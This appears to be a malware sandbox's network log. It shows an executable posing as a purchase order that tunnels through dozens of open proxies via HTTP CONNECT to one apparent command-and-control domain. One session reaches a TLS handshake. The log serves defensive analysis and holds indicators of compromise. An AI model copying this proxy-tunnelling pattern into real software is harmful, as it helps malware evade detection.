Mar 11, 2024 16:39:48.915874958 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.070892096 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.10	51362	8.222.239.209	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.915879965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.10	53142	211.222.252.187	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.916125059 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.10	53104	116.199.168.1	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.916126013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.10	53219	104.20.75.31	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.916234016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.071255922 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.10	53143	121.182.138.71	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.922336102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.10	53189	52.151.210.204	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.931665897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.10	53107	175.183.82.221	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.931906939 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.10	52799	34.135.203.172	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.935688019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.984489918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.004833937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.004785061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.098232985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.10	51392	81.91.157.134	5678	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.935791016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.10	53141	185.101.16.52	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.937745094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.10	53239	162.159.242.104	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.944946051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.106049061 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.10	52979	192.111.139.163	19404	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.945539951 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.10	53155	121.66.198.76	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.950000048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.10	52865	192.169.226.96	7251	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.953691006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973500013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973738909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.973565102 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.10	53248	74.48.7.43	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.956010103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.118670940 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.25.3 Date: Mon, 11 Mar 2024 15:39:49 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.25.3</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.10	53139	170.84.205.17	4153	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.958534002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.10	53165	88.99.138.21	5088	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.969904900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.10	53171	196.20.125.129	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.974735975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.10	53235	199.102.104.70	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.976032019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.10	52715	51.89.173.40	51511	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.984158993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973543882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.10	51426	51.89.173.40	31724	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.987108946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.973532915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.10	53120	117.160.250.163	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.992856026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.477766037 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:49 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.10	53269	184.169.154.119	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.002260923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.176255941 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:49 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:49.187212944 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c4 32 a9 21 62 d4 b1 47 46 45 81 02 ad 8a 94 c1 73 d1 e6 7f 8a 97 98 c4 3f 25 3c af a1 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%2!bGFEs?%<*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:49.364773989 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 5f 48 97 9f af 0d fc 94 fb d6 80 23 42 85 07 e3 dc 5d a4 67 c1 13 61 0e 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9_H#B]gaDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311152138Z260311152138Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:49.484304905 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 54 98 72 dc bc c8 bd 30 b8 14 e4 ac 2f 1b 21 52 2f 6d 90 81 43 c7 bc d3 61 99 d3 ef 2f a1 14 32 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 4e 4a 8d b9 3b 8d 14 15 f9 f2 52 1c a5 99 d2 32 b1 9e 17 72 9b Data Ascii: %! Tr0/!R/mCa/2(NJ;R2r"O5
Mar 11, 2024 16:39:49.656851053 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 ab ca 8a 77 6c 6d 8a 96 95 32 3b 76 b8 8b 3b 2a 03 1b ea 7f 39 c9 d5 0b 26 d7 0e 44 d3 31 16 c3 01 7b 9d 08 b0 4c ba 93 Data Ascii: (wlm2;v;*9&D1{L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.10	53148	89.218.8.152	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.010176897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.10	52699	195.248.243.149	7237	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.011717081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.098238945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.208010912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.208256960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:13.207730055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:25.207628965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:37.207521915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:01.207480907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:49.270025969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.10	52895	207.244.229.34	7976	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.013896942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.098238945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.10	51785	85.62.218.250	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
